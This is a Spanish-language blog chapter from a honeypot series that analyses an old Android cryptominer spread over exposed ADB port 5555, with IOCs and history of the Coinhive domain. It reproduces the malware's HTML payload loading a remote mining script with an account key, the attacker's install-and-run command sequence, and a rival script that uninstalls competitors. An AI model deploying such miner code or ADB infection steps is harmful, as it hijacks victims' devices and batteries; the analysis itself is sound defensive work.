ES EN
Índice

Trinity · Capítulo 10

Un minero algo perdido

Cayó otro APK por el cable de depuración, pero este pesa quince veces menos que el anterior y no lleva ni una línea de código nativo. Lo abrí esperando algo mediocre. Lo que encontré fue un fósil de 2018 que sigue infectando teléfonos para minar en una empresa que cerró hace siete años — y que hoy, sin saberlo, avisa a sus propias víctimas.

El cebo tiene cuarenta puertas abiertas, y el 5555 —el de la depuración de Android— es de las que más visita recibe. Ya trajo a Sysorbit en los capítulos 7 y 8. Esta vez trajo otra cosa, y la primera pista de que era distinta la dio la báscula.

El APK de Sysorbit pesaba 707 KB, con cuatro librerías nativas dentro. Este pesa 46 KB. Quince veces menos. Y cuando lo abrí, el código Java entero eran cinco kilobytes y no había ni un byte de código nativo.

Pensé que me había tocado un pobre diablo. Y en cierto modo sí — pero la historia que había detrás es la mejor que me ha dado el cebo hasta ahora.

01La captura

Quince segundos de principio a fin. Ni una palabra de más:

  1. 0 spm path com.ufo.miner — pregunta si ya está instalado. Si lo estuviera, se iría sin molestar.
  2. 8 sInstala /data/local/tmp/ufo.apk. Es la muestra que capturé.
  3. 9 sBorra el fichero. La huella dura un segundo.
  4. 10 sArranca la aplicación: am start -n com.ufo.miner/com.example.test.MainActivity
  5. 13 sps | grep trinity — busca algo llamado trinity. Ese nombre resultó ser la llave de toda la historia.
  6. 15 srm -rf /data/local/tmp/* y adiós.
Ese com.example.test no es un descuido menorCuando creas un proyecto nuevo en Android Studio, el entorno te propone un nombre de paquete por defecto para que lo cambies. Es el equivalente a un documento llamado «Documento sin título 1». Este señor no lo cambió. Su malware, que lleva ocho años dando vueltas por internet, se llama por dentro «ejemplo, prueba».

02Cinco kilobytes y una página web

Dentro del APK no hay casi nada: un icono, un par de ficheros de recursos, cinco kilobytes de código y —esto sí llamó la atención— un fichero suelto llamado run.html. Una página web, dentro de una aplicación.

El código Java, entero, hace esto:

MainActivity · el programa completo
WebView webView = ...
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("file:///android_asset/run.html");

Es decir: abre un navegador invisible y carga una página que lleva dentro. Nada más. Ni conexiones, ni comandos, ni ficheros. Y solo pide dos permisos: internet, y arrancar cuando enciendes el teléfono.

Toda la maldad, entonces, tiene que estar en esa página. Y son ocho líneas:

assets/run.html · íntegro
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.Anonymous('fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE',{
        threads: 4,
        throttle: 0.8
    });
    miner.start();
</script>

Coinhive. Un servicio que permitía a cualquier web minar criptomoneda en el navegador de sus visitantes. Ese código de treinta y dos caracteres es la cuenta a la que iba el dinero.

Y entonces miré la fecha de los ficheros del APK: 1 de julio de 2018.

03El problema con esa fecha

Coinhive fue, en su día, un fenómeno. En su mejor momento lo usaban unas 32.000 páginas web y movía entre 150.000 y 250.000 dólares al mes en Monero —según la estimación—, de los que se quedaba el 30%. Estuvo quince meses seguidos como la amenaza número uno del índice de Check Point. Se lo encontraron en Los Angeles Times, en webs de gobiernos, en anuncios de YouTube, en el wifi de una cafetería de Buenos Aires y en cientos de miles de routers MikroTik, empezando por Brasil.

Y cerró el 8 de marzo de 2019. Monero cambió su algoritmo, el negocio dejó de salir a cuenta, y echaron el cierre.

Echa la cuenta conmigoEste bicho entró en mi cebo el 24 de agosto de 2026. Lleva ocho años infectando teléfonos ajenos, gastando su batería y su procesador, para ganar dinero en un negocio que cerró hace más de siete años. Nadie lo apagó. Nadie lo actualizó. Sigue rodando solo.

Aquí es donde pensé que la historia se acababa: un fósil, un chiste, un bicho inofensivo dando vueltas por inercia. Fui a comprobar lo obvio —que el dominio estuviera muerto— y me llevé la sorpresa del día.

04El dominio no está muerto

coinhive.com sigue respondiendo. Y no solo eso: el fichero exacto que este bicho descarga, /lib/coinhive.min.js, sigue existiendo y devuelve un JavaScript de verdad, de 1,7 KB.

Pero no es el de antes. Esto es lo que hay hoy en esa dirección:

coinhive.com/lib/coinhive.min.js · hoy
// Credit to https://w3bits.com/javascript-modal/

window.addEventListener('load', function() {
  let url = 'https://www.troyhunt.com/i-now-own-the-coinhive-domain…';
  createModal('This website attempted to run a cryptominer in your browser. <a href="' + url + '">Click here for more information</a>.');
  setTimeout(function(){ location.href = url; }, 5000);
});

En mayo de 2020, alguien le regaló el dominio a Troy Hunt —el que mantiene Have I Been Pwned— con la única condición de que hiciera algo útil con él. Y lo que hizo fue esto: en vez de minar, el script le planta un aviso en la cara a la víctima diciéndole que alguien acaba de intentar minar en su navegador, y a los cinco segundos la lleva a una página que se lo explica.

Cuando lo contó, en la primavera de 2021, el dominio recibía tres millones de peticiones al día de gente que seguía infectada sin saberlo.

Léelo otra vez, porque es deliciosoEl objeto CoinHive ya no existe en ese fichero. Así que la línea new CoinHive.Anonymous(...) de nuestro bicho falla con un error y no mina absolutamente nada.

Lo que sí ocurre es lo otro: el navegador del malware carga el script, y el script hace su trabajo. Y su trabajo, ahora, es dibujar el cartel de aviso en la pantalla de esa app «Test» que nadie abre — lo vea la víctima o no.

Han pasado siete años y el bicho no se ha enterado de nada. Sigue llamando a la puerta de su antiguo jefe, y quien abre ahora es alguien que se dedica a delatarlo.

05El espécimen

El APK que el cebo capturó.

ESPÉCIMEN 005 · APK

Trinity · minero Android por ADB

◈ FÓSIL · NO EJECUTAR
Tipo
APK firmado · 46.525 B
Paquete
com.ufo.miner (actividad: com.example.test.MainActivity)
Código
classes.dex de 5.016 B · sin librerías nativas
Compilado
1 de julio de 2018
Función
WebView + Coinhive (inoperante desde 2019)
SHA-256
0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257

Y el certificado con el que está firmado merece capítulo aparte:

certificado de firma
Propietario: CN=Android, OU=Android, O=Android
             L=Mountain View, ST=California, C=US
             EMAILADDRESS=android@android.com

Válido desde: 29 de febrero de 2008
Algoritmo   : SHA1withRSA (débil)
SHA-256     : A4:0D:A8:0A:59:D1:70:CA:A9:50:CF:15:C1:8C:45:4D:
              47:A3:9B:26:98:9D:8B:64:0E:CD:74:5B:A7:1B:F5:DC
Esa clave la tienes tú tambiénNo es de Google. Es la clave de pruebas que viene en el código fuente de Android, pública desde 2008, con la que cualquiera puede firmar cualquier cosa. Está ahí para que los desarrolladores prueben, no para publicar.

Compara con Sysorbit, que se inventó una empresa española entera —con su departamento, su ciudad y su provincia— para firmar su APK. Este cogió la que venía puesta.

06Quién es, en realidad

Aquel ps | grep trinity de la captura era el hilo. La familia se llama Trinity, y lo que cayó en mi cebo es solo una pieza del equipo.

El APK no se propaga; es únicamente el minero. El que viaja y contagia es un binario aparte llamado trinity, y tiene una característica que lo hace difícil de matar: no tiene servidor de mando. Ninguno. Se inventa direcciones de internet al azar, prueba el puerto 5555 a ciegas, y cuando encuentra un aparato abierto le empuja el equipo entero.

Entonces quien me visitó no es «el atacante»La conexión vino de 112.90.220.245, en Shenzhen. Pero al no haber central, eso no es la guarida de nadie: es otro teléfono o televisor infectado, escaneando a ciegas, que dio conmigo por casualidad. Sus vecinas del mismo bloque —.242, .243, .244, .246, .247— también aparecen escaneando en registros públicos. Es un barrio entero contagiado.

Y sigue activa: los servicios de reputación la marcaban como maliciosa el mismo día que me visitó.

Un apunte de honestidad: en mi captura no llegó a aparecer el binario trinity, solo el APK y la comprobación de si ya estaba. Lo que cuento de la parte que se propaga viene de análisis publicados, no de mi cebo.

07Ocho años dando vueltas

Que un bicho de 2018 llegue a 2026 podría ser una casualidad — una copia perdida en un aparato olvidado. No lo es, y hay números.

Un cebo de ADB en Sídney publica cada mes lo que captura. Mi mismo fichero, con el mismo hash exacto, aparece en sus informes todos los meses desde diciembre de 2025 hasta mayo de 2026. Y junto a él, los mismos binarios acompañantes que documentó un análisis de 2020: sin modificar en seis años. Nadie los mantiene. Nadie los mejora. Se copian a sí mismos, tal cual, de aparato en aparato.

En mayo de 2026 ese cebo contó 630 direcciones distintas repartiendo cosas por el 5555. El tráfico sale sobre todo de China y Corea del Sur.

Un detalle que me hizo graciaEl primer análisis serio de este bicho lo publicó Sophos en febrero de 2019. Para cazarlo usaron un cebo de ADB construido por Keysight y distribuido dentro de T-Pot — que es, exactamente, el mismo programa que corre en mi honeypot. Siete años después, el mismo software sigue pescando el mismo bicho.

08Hasta el fósil tenía enemigos

Rescatando aquel artículo de 2019 —está caído, hubo que sacarlo del archivo de internet— apareció otra pieza: un script rival que iba por ahí desinstalando a este bicho. Descargaba lo suyo, y remataba así:

el script de la banda rival (2019)
# ...tras instalar lo suyo:
pm uninstall com.ufo.miner
pm uninstall fbot

# y se autodestruye
rm $0

Dos competidores desalojados de una tacada, y limpieza de huellas al salir. Es el mismo patrón que hemos visto en RedTail y en Sysorbit: estos bichos se pelean entre ellos más que contra nosotros. El aparato infectado es un recurso escaso y hay cola.

09Indicadores (IOCs)

TipoValor
SHA-256 del APK0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257
MD58844985fcd57b0311d1d4cb2ec13a1ef
Paquetecom.ufo.miner · actividad com.example.test.MainActivity
Receptorcom.example.test.BootBroadcastReceiver (BOOT_COMPLETED)
PermisosINTERNET · RECEIVE_BOOT_COMPLETED (nada más)
Clave de CoinhivefwW95bBFO91OKUsz1VhlMEQwxmDBz7XE
Huella del certificadoSHA-256 A4:0D:A8:0A:59:D1:70:CA… (clave de pruebas pública de Android)
Ruta de instalación/data/local/tmp/ufo.apk
Vía de entradaADB · puerto 5555
IP que lo trajo112.90.220.245 (Shenzhen, China Unicom) — aparato infectado, no central
En la lista de appsaparece como «Test», sin icono en el menú
Cómo saber si lo tienesNo se esconde tanto como los otros: aparece en la lista de aplicaciones instaladas con el nombre «Test», aunque no ponga icono en el menú. Si tienes un televisor, un decodificador o un móvil viejo con la depuración abierta y ves una aplicación llamada «Test» que no recuerdas haber instalado, ya sabes.

Y el arreglo de fondo es el de siempre: el puerto 5555 no debería asomar a internet jamás.
Esta tabla ha caducado casi enteraCasi todo lo de esta tabla ha caducado. La campaña sigue viva y en septiembre ha vuelto a caer en el cebo con todos los nombres cambiados: el paquete ya no es com.ufo.miner sino com.google.home.tv, que pasa por una app de Google TV. La lista completa está en el Capítulo 13.

Lo único que no han tocado es com.example.test.MainActivity — el nombre que Android Studio pone por defecto y que este señor nunca cambió. Ocho años, una rotación entera de indicadores, y el descuido del que me reía ahí arriba es el único que sigue sirviendo para encontrarlo.

Y me quedo sobre todo con la imagen. Un teléfono en algún sitio, contagiado hace quién sabe cuánto, abriendo una ventana que nadie mira y llamando obedientemente a una dirección para pedir instrucciones. Al otro lado ya no hay ningún jefe: hay alguien que recogió las llaves del local abandonado y puso un cartel. Y el cartel, que el bicho enseña sin entenderlo, dice: «esta web ha intentado minar criptomoneda en tu navegador».

Después de tantos capítulos abriendo cosas cifradas a martillazos, resulta que el mejor final me lo dio un bicho que no sabe que la fiesta terminó.

Continuará — el cebo sigue encendido. Cuando alguien llame a otra puerta de forma interesante, habrá undécimo capítulo. 🍯

Comentarios